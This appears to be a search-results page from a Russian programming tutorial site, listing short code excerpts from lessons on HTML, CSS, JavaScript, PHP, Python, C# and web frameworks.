... ими, прописывая свойства в дивах. <div class="container">   <img src="vegetables.png" alt="vegetables">   <div class="left">лук</div>   <div class="center">картошка</div> ...
... псевдоклассы target: - применяется к id, который указан в адресной строке браузера. <div id="h1">заголовок раздела</div> h1:target {     color: ...
... большинство программистов делает так: <script type="text/javascript">   var block = document.getelementbyid("block");   block.scrolltop = 9999; </script> безусловно, данный способ рабочий. ...
...         return "this is a private method"     def get_private_attribute(self):         return self.__private_attribute obj = myclass() print(obj.get_private_attribute())  # 42 хотя ...
... <script> // получить видео c конкретным id var video = document.getelementbyid("myvideo"); // получить кнопку var btn = document.getelementbyid("mybtn"); // функция запуска, остановки видео ...
...     private static function printformattedline(string $line): void     {         $tokens = token_get_all('<?php ' . $line);         array_shift($tokens); // удаление токена открывающего тега php ...
... <body>   <a href="yandex.ru" id="link">нажми!</a>   <script>    var link = document.getelementbyid('link');    link.attachevent('onclick', function(e) {     e.returnvalue ...
... # генераторное выражение print(sys.getsizeof(lst)) # память под весь список (только «голова», без элементов) print(sys.getsizeof(gen)) # память под объект-генератор ...
...     const togglebutton = document.getelementsbyclassname('toggle-button')[0]     const navbarlinks = document.getelementsbyclassname('navbar-links')[0]     // при клике на кнопку меня переключаем состояние меню ...
... красный цвет   $color = imagecolorallocate($i, 255, 0, 0);   //рисуем текст ttf-шрифтом   imagettftext($i, 16, 94, 100, 150, $color, "times.ttf", "myrusakov.ru");   //отправляем заголовок с mime-type ...
...     return lines # возвращает 5 случайных вопросов def get_questions(numberofanswers = 5):     # получаем список строк из файла ...
...             return false;         }         if (gettype($data[$key]) !== $type) {             echo "ключ '$key' должен быть типа '$type'.\n"; ...
... pdo("myql:host=$host;dbname=$dbname", $user, $pass); } catch(pdoexception $e) {   echo "you have an error: ".$e->getmessage()."<br>";   echo "on line: ".$e->getline(); } в качестве примера, я допустил ошибку и написал ...
...   function check(login) {     if (login.length < 3) document.getelementbyid("e_login").style.display = "inline";     else document.getelementbyid("e_login").style.display = "none";   } </script> в функции ...
  • 432. файл robots.txt
  • Раскрутка сайта/Внутренняя оптимизация
... значение, это "clean-param". если ваш сайт динамический, и ссылки имеют get-параметры, то очень часто в get передаются параметры, которые не влияют на содержимое ...
...     # получаем имя пользователя и пароль     username = username_entry.get()     password = password_entry.get()     # выводим в диалоговое окно введенные пользователем данные ...
... = document.getelementbyid("rotatorbutton");     i--;     if (i < 0) i = array.length - 1;     image.src = array[i];   }   function right() {     var image = document.getelementbyid("rotatorbutton"); ...
... function convertimagetocanvas(image) {   var cnvs = document.createelement("canvas");   cnvs.width = image.width;   cnvs.height = image.height;   cnvs.getcontext("2d").drawimage(image, 0, 0); ...
... 'иванов', 'васильев', 'яковлева', 'степанова']; let out_arr = document.getelementbyid('out_arr'); out_arr.innerhtml = worker; фамилии сотрудников выведутся ...
... элемента. let dogs = ["мопс", "бульдог", "такса", "йорк"]; dogs.push("лабрадор"); document.getelementbyid("demo_dogs").innerhtml = dogs; в html-документе: <p id="demo_dogs"></p> в документе ...
...     <!—ссылка на большую фотографию -->     <a target="_blank" href="mountains.jpg">     <!—превью фотографии -->     <img ...
... делается. начнём с формы и javascript-кода: <script type="text/javascript">   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... "48503dfd58720bd5ff35c102065a52d7"; //в реальности считывается из бд  if (($_get['login'] == $login) && (md5($_get['password']) == $password)) echo "welcome!";  else echo "access denied";?>теперь если ...
... password_default, $opt);   } ?> password_get_info() эта фунция просто возвращает массив параметров хэширования. <?php   $arr = password_get_info($hash); ?> вернётся ассоциативный ...
...     function ($e) {         echo "error: {$e->getmessage()}\n";     } ); $loop->run(); этот код выполняет асинхронный ...
... # создадим  экземпляр драйвера my_driver = webdriver.chrome(path) # пропишем адрес сайта my_driver.get("https://myrusakov.ru/python-tutorial.html") # получим список ссылок из страницы сайта ...
... делаем его видимым display = "block"; <script> function openform() {     document.getelementbyid("myform").style.display = "block"; } функция closeform закрывает форму, получает ...
...   <div id="swipearea">swipe here</div>   <script>     const swipearea = document.getelementbyid('swipearea');     let touchstartx = 0;     let touchstarty = 0; ...
... сайта   $url = "http://www.myrusakov.ru/";   // вызов методов сервиса   $api_data = file_get_contents("https://www.googleapis.com/pagespeedonline/v2/runpagespeed?url=$url&screenshot=true");   // расшифровка ...
... кода. wp_enqueue_script( 'my-fb', get_template_directory_uri() . '/fancybox/jquery.fancybox.pack.js', array('jquery') ); wp_enqueue_style( 'my-fb-css', get_template_directory_uri() . '/fancybox/jquery.fancybox.css' ...
... комментария на сайте. <?php   $db = db::getinstance(); // получаем соединение с базой данных   $lastcomment = $db -> getlastcomment(); // получаем последний комментарий ...
...         <app />     </browserrouter>,      document.getelementbyid('root') ) затем в компоненте app добавьте элемент switch. ...
...     fetch(key) {         let data = localstorage.getitem(this.dbprefix + key);         if(data === null)             return false; ...
... инструмента вы создаете графический интерфейс, перетаскивая объекты qwidget в пустую форму. после этого вы можете упорядочить их в единый графический ...
...         // добавляем компонент на страницу         reactdom.render(<app />, document.getelementbyid('root'));     </script> </body> </html> ...
... виджеты из боковой колонки. сделать это можно в разделе виджетов appearance / widgets или в кастомайзере темы. для магазина это лучший вариант, когда нет ...
... происходит через метод object.assign, который принимает первым параметром target (цель), вторым параметром - исходный объект. при клонировании в фигурных ...
...     el.addeventlistener('keyup', e => {       res.textcontent = transliter(e.target.value)     })        </script> </body> </html> ...
...         // первый аргумент - url, второй - callback c параметром ответа сервера                  https.get(url, (res) => {             // получаем статус ответа сервера посредством деструктуризации объекта ...
...         self.sprite = sprite         self.radius = sprite.get_width() / 2         self.velocity = vector2(velocity)     def draw(self, surface): ...
... /// это метод возвращает код состояния /// </summary> public statuscode getsensorstatus(); таким образом, вот такие виды комментариев существуют ...
... полезно освоить некоторые элементарные терминальные команды (cd, grep, curl, get, tail, head, less, find, ssh, kill, vim, echo, nslookup, ping, telnet) - в интернете полно спавочников ...
... расширение для chrome) парсеры для социальных сетей церебро таргет huntertarget (есть бесплатный тариф) итоги парсинг сайтов может использоваться ...
... пример того, что должно получиться: /*!  * bootstrap v5.0.0-beta1 (https://getbootstrap.com/)  * copyright 2011-2020 the bootstrap authors  * copyright 2011-2020 twitter, inc. ...
... html разметка <div>1</div> <div>2</div> <div>3</div> // js let div = document.getelementsbytagname('div');     console.log(div); цикл for..of без проблем ...
... гамбургер. внутри nav надо добавить строку под логотипом. <a href="#" data-target="mobile-demo" class="sidenav-trigger"><i class="material-icons">menu</i></a> добавление ...
... атрибутам. вывод фильтров на фронтенде переходим в виджеты «appearance / widgets» и перетаскиваем один и тот же доступный виджет «filter products by attribute: ...
...         // ... и помещаем значение в карту, увеличивая, при необходимости, значение счетчика         valuesmap.set(elem, valuesmap.has(elem) ? valuesmap.get(elem) + 1 :  1);     });     // сортируем полученный массив объектов "{'строка', число}" в порядке убывания частоты присутствия в исходном массиве ...
...   <react.strictmode>     <app />   </react.strictmode>,   document.getelementbyid('root') ); ./src/components/app.js import react from 'react'; ...
... import app from './components/app' reactdom.render(     <app />,     document.getelementbyid('app') ) файл index.html <!doctype html> <html lang="en"> ...
... слайдера swiper к проекту 1) переходим на официальный сайт swiper 2) в разделе get started переходим по ссылочке и скачиваем два минифицированных файла swiper-bundle.min.css ...
... intersectionobserver((entries, obs) => { entries.foreach(e => { if (e.isintersecting) { const img = e.target; if (img.dataset.src) img.src = img.dataset.src; obs.unobserve(img); } }); ...
... симпатично и делается все очень быстро. установка фреймворка на вкладке get started вы увидите несколько вариантов установки: вариант #1). скачать ...
... import app from './components/app'; reactdom.render(     <app />,      document.getelementbyid('root') ); ./components/app.js import react from 'react'; ...
... сначала выберем элемент по идентификатору #countdown. let countdown = document.getelementbyid('countdown'); шаг 2 объявим функцию, отвечающую за обратный ...
...              // получаем список всех дисков             driveinfo[] drives = driveinfo.getdrives();             // в цикле проходимся по дискам ...
... def wrap_position(position, surface):     x, y = position     w, h = surface.get_size()     return vector2(x % w, y % h) # используя оператор по модулю %, можно убедиться, что позиция никогда не покидает область заданной поверхности. в нашей игре такой поверхностью будет экран. ...
...     if request.method == 'post':         uploaded_files = request.files.getlist("file")         for uploaded_file in uploaded_files: ...
... пакета. для установки на ubuntu, вы можете воспользоваться командой: sudo apt-get install php-pcntl для других систем управления пакетами вы можете использовать ...
... глагол-существительное и используются для выполнения конкретных задач. например: get-process циклы: powershell поддерживает различные виды циклов, такие как for, ...
... строку запроса (query string), которую потом можно будет передать на сервер в виде get параметра. итак, для начала определим некоторые вспомогательные функции, ...
...     url = "https://jsonplaceholder.typicode.com/posts"     response = requests.get(url)     data = response.json()     # render the template with json data ...
... from flask import flask, request, jsonify app = flask(__name__) # обработчик @app.route('/api', methods=['get']) def index():     return "версия api" # пример url api ...
...     private val _text = mutablelivedata<string>()     val text: livedata<string> get() = _text     init {         _text.value = "hello, world!" ...
... или любой другой браузер, который у вас установлен. import webbrowser webbrowser.get('c:/program file/путь/msedge.exe %s').open('https://myrusakov.ru/') открытие ...
...   <button onclick="savepixelart()">сохранить</button>   <script> const canvas = document.getelementbyid('canvas'); let isdrawing = false; function createpixel() {   const pixel = document.createelement('div'); ...
... import requests app = flask(__name__) name1 = [] @app.route('/', methods=['post', 'get']) def handle_data():     if request.method == 'post':         if 'name' in request.form: ...
...    */   function togglesection(sectionid) {     const section = document.getelementbyid(sectionid);     section.style.display = section.style.display === 'none' ? 'block' : 'none'; ...
...    function removepopupbytag(tagname) {      const popups = document.getelementsbytagname(tagname);      if (popups.length > 0) {        for (let i = 0; i < popups.length; i++) { ...
... описание кода: function showtagonhover(event) {   const hoveredelement = event.target;   const tagname = hoveredelement.tagname.tolowercase();   // создание информационного окна ...
... from flask import flask, render_template, request app = flask(__name__) @app.route('/', methods=['get', 'post']) def home():     user_name = "гость"     if request.method == 'post': ...
...       try {         const response = await axios.get(           `https://api.openweathermap.org/data/2.5/weather?q=${this.city}&units=metric&appid=ваш_ключ` ...
... // устанавливаем порт приложения const port = process.env.port || 5000; app.get('/', async (req, res) => {   res.send({ message: 'привет' }) ...
...         // получаем поток с микрофона         const stream = await navigator.mediadevices.getusermedia({ audio: true, video: false });         // создаем объект, который будет отвечать за запись аудио ...
...     // кодировка файла будет win-1251     queryresultdatagridview.writetocsvfile(';', "export.csv", encoding.getencoding(1251));     dialogresult dialogresult = messagebox.show(         "экспорт завершен! вы хотите открыть файл в редакторе?", ...
...                 const ctx = canvas.getcontext('2d');                 // очищаем холст ...
...     # получаем содержимое файла     response = requests.get(url)     # проверяем, успешно ли загружен файл ...
... from bs4 import beautifulsoup def scrape_website(url):     response = requests.get(url)     soup = beautifulsoup(response.content, 'html.parser')     # пример извлечения заголовков новостей ...
... # загрузка данных iris = datasets.load_iris() x = iris.data y = iris.target # разделение на обучающие и тестовые данные x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=42) ...
... каким-то причинам не установлен, можно сделать это с помощью команды: sudo apt-get install python3-tk простой пример модального окна давайте создадим простое ...
... выбрать голос, вы можете просмотреть доступные варианты: voices = engine.getproperty('voices') for index, voice in enumerate(voices):     print(f"голос {index}: {voice.name} ({voice.languages})") ...
...         # запускаем процесс загрузки в отдельном потоке         threading.thread(target=self.load_task).start()     def stop_loading(self):         self.is_running = false ...
... атрибутах. $reflectionclass = new reflectionclass(myclass::class); $attributes = $reflectionclass->getattributes(myattribute::class); foreach ($attributes as $attribute) {     $instance = $attribute->newinstance(); ...
... вас еще не установлен composer, вы можете скачать его с официального сайта getcomposer.org. откройте терминал и выполните следующую команду для установки ...
...         const mychart = new chart(             document.getelementbyid('mychart'),             config         ); ...
... url = 'https://example.com/weather' # получение данных с сайта response = requests.get(url) soup = beautifulsoup(response.text, 'html.parser') # извлечение нужной информации ...
... получить все данные с листа, можно использовать следующий код: data = sheet.get_all_records() print(data) этот метод вернет все строки таблицы в виде списка словарей, ...
... const reader = new filereader(); reader.onload = function(event) {   console.log(event.target.result);  // выводит: привет, мир! }; reader.readastext(textblob); 3. работа ...
... // выбираем элемент по идентификатору var container = document.getelementbyid("container"); // находим дочерние элементы var children = container.children; ...
... наверх при клике. // получаем кнопку по id const scrolltopbtn = document.getelementbyid("scrolltopbtn"); // добавляем событие на прокрутку окна ...
...     $pdo->rollback();     echo "failed to update data: " . $e->getmessage(); } эти стратегии помогут вам надежно обновлять данные в базе данных ...
... пакетного менеджера вашей системы. например, для ubuntu это команда: sudo apt-get install openssl шаг 2: создание самоподписанного сертификата создайте ...
...     for (int y = 0; y < mybitmap.height; y++)     {         color pixelcolor = mybitmap.getpixel(x, y);         // изменение цвета пикселя ...
... // получаем элемент с id &#039;box&#039; const box = document.getelementbyid(&#039;box&#039;); // добавляем элемент видео в контейнер &#039;box&#039; ...
...     # получаем текущую страницу из параметров запроса, по умолчанию страница 1     page = request.args.get('page', 1, type=int)     # устанавливаем количество элементов на одной странице ...
...     // читаем файл построчно     while ($line = fgets($file)) {         // разбираем строку лога ...
...                 const context = canvas.getcontext('2d');                 // вычисляем соотношение сторон исходного изображения ...
... среде visual studio, а после установить пакет fluentvalidation через менеджер пакетов nuget. теперь в файл программы program.cs добавим следующий исходный код: using system; ...
... посетите официальный веб-сайт epic games по адресу https://www.epicgames.com. найдите ссылку "get epic games" (скачать epic games) и кликните по ней.вы будете перенаправлены на ...
... получим наш контейнер по идентификатору и применим к нему метод parallax. let space = document.getelementbyid('space'); let parallaxinstance = new parallax(space);
...         function handleclick(e) {             alert(e.target.dataset.action)         }         const button = <floatingbutton title="добавить вопрос" onclick={handleclick} data-action="question:add"/> ...
... env.trim_blocks = true env.lstrip_blocks = true env.rstrip_blocks = true template = env.get_template('showsites.txt') result = template.render(coins=coins) print(result) далее создаем ...
... методы для обновления поведения дождя. function rain() {   var image = document.getelementbyid('background');   image.onload = function () {     var rainyday = new rainyday({ ...
... источника указывает другую картинку. function imgslider(anything){     document.getelementbyid("slider").src = anything; } добавим в html код к каждой ссылке событие onmouseenter. ...
... 50%;/*появление окна сверху*/ <script> function popuptoggle(){     const popup = document.getelementbyid('popup');     popup.classlist.toggle('active') } </script> ...
... freeze > requirements.txt напишите простой скрипт. # app.py import requests resp = requests.get("https://api.github.com") print("status:", resp.status_code) python app.py чек-лист по venv и requirements.txt ...
... // возвращает копию списка с элементами из диапазона  list<string> afewnames = names.getrange(0, 2);  // вставляем новую строку в позицию 2 names.insert(2, "second and a half name");  ...
... (последняя строчка кода). <script type="text/javascript">     let bg = document.getelementbyid("header")     window.addeventlistener("scroll", function(){         bg.style.opacity ...
...   # полученных данных   wlist = []   sour_text = requests.get(url).text   # объект beautifulsoup, который будет   # пинговать запрошенный url-адрес для получения данных ...
... file_loader = filesystemloader('templates') env = environment(loader=file_loader) template = env.get_template('about.html') out = template.render(content=content) print(out) в коде выше ...
... } item.foreach(link => {     link.addeventlistener('click', (e)=>{         indicator(e.target);     }) }) посмотрите пример на codepen
... ipsum dolor sit amet consectetur adipisicing elit.</p>         <a href="#">get the deal</a>       </div>     </div>   </div> ...
... удаляет класс. если он есть. вот так работает переключатель. const acc = document.getelementsbyclassname("contentbx"); for (i = 0; i < acc.length; i++) {     acc[i].addeventlistener("click", ...
... способ 6: хранение строк во внешних файлах string str = files.readalllines(paths.get("strings.txt")); таким образом, вот так в java можно создавать многострочные ...
... его нет и удаляет класс, если он есть. вот и вся магия. const toggle = document.getelementbyid('toggle'); toggle.onclick = function(){     toggle.classlist.toggle('active'); ...
... viewbox="0 0 250 100" xmlns:xlink="http://www.w3.org/1999/xlink">     <a xlink:href="http://domain.ru/" target="_blank">         <text class="text-link" x="25" y="60">svg текст-ссылка</text> ...
... export pythonpath=$(pwd) python main.py # временно для одной сессии windows (powershell) $env:pythonpath=get-location python main.py # в коде (не рекомендуется как постоянная практика) import ...
...     // получаем активный лист     $sheet = $spreadsheet->getactivesheet();     // тестовые данные: номер ячейки - строка данных ...
... стирает поисковое слово, введенное пользователем. <span class="clear" onclick="document.getelementbyid('searchinput').value = ''"></span> .clear{     position: absolute; ...
...             // получаем размеры окна рабочего стола             rectangle bounds = screen.getbounds(point.empty);             // создаем пустое изображения размером с экран устройства ...
...         assembly assembly = assembly.loadfrom("someassembly.dll");         type type = assembly.gettype("somenamespace.someclass");         dynamic instance = activator.createinstance(type); ...
... необходимо установить пакет documentformat.openxml. это можно сделать с помощью nuget: install-package documentformat.openxml или через .net cli: dotnet add package documentformat.openxml ...
... url = f'https://api.binance.com/api/v3/klines?symbol={symbol}&interval={interval}&starttime={start_time}&endtime={end_time}' response = requests.get(url) data = response.json() # преобразуйте данные в формат dataframe и сохраните их в csv-файл ...
... # установка максимального размера окна browser.maximize_window() # открытие посиковика в браузере browser.get('https://images.google.com/') # находим поисковое окно box = browser.find_element(by.css_selector, 'input[class="glfyf"]') ...
... webbie_url = r' https://myrusakov.ru/ '  for i in [firefox, chrome, safari]:      i.get(webbie_url)      # здесь  проверки bs4!!      # javascriptexecutor - для визуализации прокрутки  ...
...         # открываем страницу по адресу          self.driver.get("https://myrusakov.ru/register.html")         # установка размеров окна ...
... print(link2) try:   # открываем ссылку в браузере   driver.get(link2)   # находим количество строк в таблице   rows = len(driver.find_elements(by=by.xpath, value = '/html/body/table/tbody/tr')) ...
... import os print("creating {} folder". format(sys.argv[1])) path = os.path.join(os.getcwd(), sys.argv[1]) os.mkdir(path) print("created {} folder". format(sys.argv[1])) print("creating index.html, style.css, script.js") ...
...         // получаем текущую рабочую папку откуда запущена программа         var cwd = system.getproperty("user.dir");         var frame = new showimagejavaframe("показываем картинку"); ...
...             using var httpclient = new httpclient();             var response = httpclient.getbytearrayasync(url).result;             return response; ...
...             // 5 - это размер 1-ого пикселя кода             bitmap qrcodeimage = qrcode.getgraphic(5);             // вставляем изображение в виджет, подгоняя размер qr кода к размеру родительского элемента imagepicturebox ...
... добавьте эти 2 строки кода: url='https://www.bbc.com/news' response = requests.get(url) шаг 3: получите конкретный html-тег чтобы найти html-теги, в ...
... виде json. для этого отлично подходит библиотека requests: import requests response = requests.get('https://api.example.com/data') data = response.json() # автоматически парсит json print(data) ...
... информацией между разными системами.' soup = beautifulsoup(html, 'html.parser') text_only = soup.get_text() result = f'{text_only}' print(result) какой способ выбрать? re — легче ...
...     for result in soup.find_all("a", class_="result__a", limit=max_results):         title = result.get_text()      # заголовок результата         href = result['href']          # ссылка на результат ...
...     # формируем имя файла     subject = msg.get('subject', 'no_subject').replace('/', '_')     filename = f"{num.decode()}_{subject}.eml" ...
... # засыпание программы на 2 миллисекунды time.sleep(2) # открытие драйвером сайта  driver.get("https://myrusakov.ru/") time.sleep(1) # поиск элементов формы по описанию в html коде ...
... теперь добавим скрипт, управляющий основными действиями: const video = document.getelementbyid('myvideo'); function playpause() {   if (video.paused) {     video.play(); ...
...         }         const rootelement = document.getelementbyid('root');         // читаем вакансии из файла и отображаем в элементе root ...
... fetchresults(q); console.log('результаты:', data); }, 400); input.addeventlistener('input', (e) => onsearch(e.target.value)); советы по дебаунсу: для «живого поиска» чаще всего подходят ...
...     async with aiohttp.clientsession() as session:         async with session.get(url) as response:             return await response.text() ...
...                    byte[] info = new utf8encoding(true).getbytes(text);                    // производим запись байтов в файл ...
... неизвестным. что же тогда делать? давайте сразу рассмотрим пример: app.get('/profile/:name', function(req, res) {   var data = {age: 17, job: 'programmer', hobbies: ['programming', ...
... * item with round point * and one more item with round point you can connect with us by email: something@smth.com do not forget to visit our website: [click here](http://test.com/) теперь вы получите большой заголовок, ...
... ноль");   }   return 1/$n; } try {   div(3);   div(0); } catch($e) {   echo "ошибка: " + $e->getmessage(); } finally {   echo "работа скрипта завершена"; } у нас есть функция, ...
... переменную circle. но как нам вытащить оттуда только второй круг? let circle = document.getelementsbytagname('div');     console.log(circle); так и обращаемся к нему ...
... его очень просто. <a href="yandex.ru" id="link">кликни!</a> <script> var link = document.getelementbyid("link"); function myfunc(e) {   events.default(); // отменили стандартное поведение ...
... id="dropzone">перетащите файлы сюда</div> <script>   (function() {    var dropzone = document.getelementbyid("dropzone");    dropzone.ondragover = function() {     this.classname = 'dropzone ...
... используем. <a href="#" id="link">вызвать уведомление</a> <script>   var link = document.getelementbyid("link");   link.addeventlistener('click', function(e) {    var nf;    e.preventdefault(); ...
... папке libs. <?php   class bootstrap {    public function __construct() {     $url = $_get['url'];     $url = rtrim($url, '/');     $url = explode('/', $url); ...
... var instance = $("#yourelement").data("vide"); // получить видео элемент заднего фона instance.getvideoobject(); // изменение размера заднего видео // это вызывается автоматически, ...
... адрес сервера, куда отправятся данные type - метод запроса. по-умолчанию get datatype - тип данных, которые мы планируем получить от сервера. может быть: ...
... пример "рукопожатия". инициализация рукопожатия от клиента выглядит так: get /chat http/1.1   host: server.example.com   upgrade: websocket   connection: upgrade   sec-websocket-key: ...
... позиция подсказки пока элемент является целью: tip.position(document.queryselector('.target')); изменение типа подсказки и эффекта: tip.type('error').effect('fade'); ...
...     for(let element of elements) {         let value = localstorage.getitem(element.dataset.name);         if( !value ) return;         else element.innertext =  value.trim(); ...
... скрипт: <script src="path/to/shine.min.js"></script> инстциируйте shine.js var shine = new shine(document.getelementbyid('my-shine-object')); измените позицию света window.addeventlistener('mousemove', ...
... есть подробная документация, которую вы можете найти, кликнув по кнопке "getting started". скачайте необходимые скрипты и стили, подключите их. сделайте ...
... // при вводе текста в поле ввода, оповещаем всех наблюдателей о событии input.addeventlistener('keyup', e => {   subject.notify(e.target.value); }); вот так можно использовать шаблон наблюдатель в javascript. ...
... только лишь css: html код: <img class="grayscale-image" src="https://avatars.mds.yandex.net/get-pdb/2001933/86554d64-6d18-4c6a-b2c8-2587c956774a/orig" /> код css: /* * у изображения с данным стилем цвет черно-белый  ...
... like.php, который и занимается увеличением числа лайков: <?php   $text = file_get_contents("likes.ini"); // получаем содержимое файла   $likes = explode("\n", $text); // разбиваем ...
...   padding: 0;   height: 0;   overflow: hidden;   transition: height 400ms ease; } .accordion-conent:target {   height: 150px;   padding: 20px;   overflow-y: scroll; } вот так просто мы можем ...
... компилятора typescript в консоли {   "compileroptions": {     "target": "es5",                          ...
... виде: http://mysite.ru/?ref=abc, либо http://mysite.ru/page.php?n=5&ref=abc. то есть главное, чтобы был get-параметр ref, а значение этого параметра - логин пользователя, который ...
... ввода по его идентификатору и поместим в переменную input. let input = document.getelementbyid('input'); повесим на инпут обработчик событие addeventlistener, который ...
... . "';"); // указываем имя при сохранении в браузере       echo file_get_contents($filename); // отдаём файл пользователю на скачивание     }     ...
...       /* перебираем все полученные файлы */       $str = strip_tags(file_get_contents($files[$i])); // помещаем содержимое файлов в переменную, предварительно ...
... php. скрипт мониторинга сам по себе очень и очень простой: <?php   if (@get_headers("http://mail.ru")) echo "сайт доступен";   else echo "сайт не доступен"; ?> но ...
... отслеживания лайков вконтакте: <script type="text/javascript">   vk.observer.subscribe('widgets.like.liked', function(param) {     alert("был нажат лайк");   }); </script> для ...
... авторизован. key - секретный ключ, который будет находиться в ссылке в виде get-параметра. r - адрес страницы, куда будет совершён переход после авторизации. ...
... дальше пишем скрипт вывода новостей на php: <div id="news"> <?php   $news = file_get_contents("news.txt");   $news = explode("\n", $news);   for ($i = 0; $i < count($news); $i++) {     ...
на прошлом уроке мы узнали, что такое utm-метки и настроили get-запросы меток в скрытых полях формы. на этом уроке вы узнаете, как получить данные ...
... автоматическую смену блоков   $("#switch img").bind("click", function(event) {     setcourse($(event.target).attr("data-number")); // при клике по переключателю выводим соответствующий блок ...
... /* в этот блок мы попадаем, если было выброшено исключение */   echo $e->getmessage(); // можно вместо этого добавить if и вывести более понятную надпись, ...
... ip-адрес     $text = "";     while (!feof($sock)) {       $text .= fgets($sock, 256)."<br />"; // читаем ответ от сервера     }     fclose($sock); ...
... пользователя на javascript. сразу привожу код: <script type="text/javascript">   navigator.geolocation.getcurrentposition(showposition); // запрашиваем местоположение, и в случае успеха вызываем ...
... файла (filename отвечает за имя файла, который увидит пользователь)   echo file_get_contents($file); // отдаём файл браузеру ?> код тщательно прокомментирован, ...
...   }         // геттер для длины списка   get length() {     return this.elements.length;   }      // сеттер для длины ...
... видео. откройте консоль в браузере и пропишите следующее: var video = document.getelementbyid('bgvideo'); таким образом мы получим объект, у которого есть ...
... "http://www.cbr.ru/scripts/xml_daily.asp?date_req=$date"; // ссылка на xml-файл с курсами валют   $content = file_get_contents($link); // скачиваем содержимое страницы   $dom = new domdocument("1.0", "cp1251"); ...
... классов bootstrap-а, следует присвоить каждой колонке. переходим на сайт https://getbootstrap.com/ в раздел grid. мы определили у блока div классы "col-lg-3" "col-md-6", где ...
...     this.name = name;     this.price = price;     this.tax = tax;    }    get price() {     console.log(`стоимость этого товара с налогом в \$${this.tax}% -\$${this.price ...
... позаимствуем уже готовый код симпатичной формы в разделе components/forms на сайте https://getbootstrap.com. обратите внимание, где именно в html-коде подключены cdn для bootstrap, ...
... <footer>    <div class="copy">    © 2017 шаблон <a href="" target="_blank">valli</a>    </div> </footer> css стили footer {    background: ...
...     // в случае ошибки просто возвращаем false     $hds = @get_headers($uri);          // проверка, если нет заголовков, т.е. такого сайта нет например ...
... пример смена фона у кнопки: <button id="button">try it</button> <script> document.getelementbyid("button").addeventlistener("click", function(){     this.style.backgroundcolor = "black"; }); ...
... направляющими как правило равняется 1170 пикселям. скачайте на сайте https://getbootstrap.com/ компилированный css и js для легкой интеграции в ваш проект. скопируйте ...
...   // путь куда будет сохраняться архива   $dest = getcwd() . '/' . $archive['name'];   // пытаемся переместить загруженный архив из временной папки в нужную  ...
... рассмотрим все на полезном примере. немного изменим наш код в файле app.js: app.get('/contact', function(req, res) {   res.render('contact', {qs: req.query}); }) здесь мы ...
... div.style.height = height;    div.style.width = width;    div.style.border = border;    document.getelementsbytagname ('body') [0] .appendchild (дела);    return div;   } следующий ...
... import reactdom from 'react-dom'; import app from './components/app'; reactdom.render(<app />, document.getelementbyid("app")) в подпапке components содержатся непосредственно сами ...
...     // получаем ссылку на тег head документа     let head   = document.getelementsbytagname('head')[0];     // устанавливаем тип и uri ...
...       <h2>easy file managament</h2>       <p>fusce ipsum augue, consectetur quis dignissim eget, malesuada vitae ipsum. learn more about.       </p>       <a ...
... формы, стала выглядеть так: return {  processform: function() {   getscores();   calculatepercentages();   createcharts();   showresults();  } }; просто читать, ...
... (testobjone, "х", {value: 0, writeable: false});   testobjone.x = 3,14; // исключение. var testobjtwo = {get x () {return 0}};   testobjtwo.x = 3,14; // исключение. "eval" и "arguments" мы не можем ...
... контроллеры. давайте напишем один из них – todocontroller.js: module.exports = function(app) {   app.get('/todo', function(req, res) {   });   app.post('/todo', function(req, res) {   }); ...
...   <p class="mb-0" id="tab-3">vestibulum suscipit urna ultrices velit dictum, vel laoreet lorem tincidunt. donec eget mi gravida est faucibus accumsan.</p> </div> </div> в html-коде мы прописали bootstrap ...
... артефакты. решить эту проблему для ie просто. .logo {   background: none;   filter: progid:dximagetransform.microsoft.alphaimageloader(src="/path/to/logo.png",sizingmethod="scale"); } т.е. эту проблему нам ...
... использовать разные методы генерации случайных чисел. windows – cryptgenrandom linux – php getrandom(2) others – /dev/urandom в случае ошибки или отсутствия данных функций, ...
...             // получаем запрошенный url             let url = new url(event.currenttarget.href);                          // запускаем роутер, предавая ему path ...
... скрипт, подключаете на страницу. пишете следующий код: var stickyelements = document.getelementsbyclassname('sticky'); for (var i = stickyelements.length - 1; i >= 0; i--) {   stickyfill.add(stickyelements[i]); ...
... сайте разработчика. у данной библиотеки есть также некоторые опции modaltarget - настройка вашей цели color - определить цвет заднего фона animatedin - переход, ...
... пример. <?php   $week = new datetime('+1 week');   setcookie('user_id', '1', $week->gettimestamp(), '/', null, null, true); ?> в данном примере мы записываем уникальный ...
...         "роберт кийосаки"     ] ]; document.getelementbyid("next-quote").addeventlistener("click", function() {          // выбираем случайную фразу из массива ...
... #{$i}) ~ img {     left: (($i - 1) * $stepper) * -1;    }    // here we create a variable to get the math right for    // how we shift the image when moving vertically    $t: (($i - 1) * $grid-root) ...
... на нашем сайте. это можно сделать так:     $rss = file_get_contents('https://news.yandex.ru/science.rss');     $rss  = simplexml_load_string($rss); ...
... выполнения ajax-запросов, обычно используют, либо объект xmlhttprequest, либо метод $.get() из jquery, либо еще какую либо javascript библиотеку. но, известно, что прикладной ...
... нужно вернуть литерал объекта, то его нужно обернуть в круглые скобки: let getobject = () => ({ brand: 'bmw' }); самовызывающаяся функция выглядит следующим ...
... происходит после того, как произойдет что-то другое. простой пример: var button = document.getelementbyid('button'); button.onclick = function() {   alert('кто-то кликнул по кнопке'); ...
...     'chat_id' => '', // название канала     'text' => 'привет, бот!' ]; $resp = file_get_contents("https://api.telegram.org/bot{$botapitoken}/sendmessage?" . http_build_query($data) ); print $resp; ...
... "desktop-wide": 1440px ); @mixin mq($width, $type: min) {   @if map_has_key($breakpoints, $width) {    $width: map_get($breakpoints, $width);    @if $type == max {     $width: $width - 1px;    }    ...
... конечно, в очень упрощенном виде. я сразу приведу код, а дальше его поясню: app.get('/profile/:id', function(req, res) {   res.send('вы запросили профиль с идентификатором: ...
...     foreach ($ite as $file) {         $files[] = $ite->getsubpathname(); //получение имени файла     }     return $files; ...
... этот тривиальный php-код: <?php   $link = "http://myrusakov.ru/images/site.jpg";   $file = file_get_contents($link);   file_put_contents("site.jpg", $file); ?> вот такой тривиальный скрипт, ...
... записать его в строковую переменную. наиболее простой вариант - это функция file_get_contents(). если контент доступен только авторизованным пользователям, то ...
... параметры";       return false;     }     list($w_i, $h_i, $type) = getimagesize($image); // получаем размеры и тип изображения (число)     $types ...
... положили в переменную p, весь параграф с идентификатором text_change. p = document.getelementbyid('text_change'); для того, чтобы вывести что-нибудь (числа, строки) ...
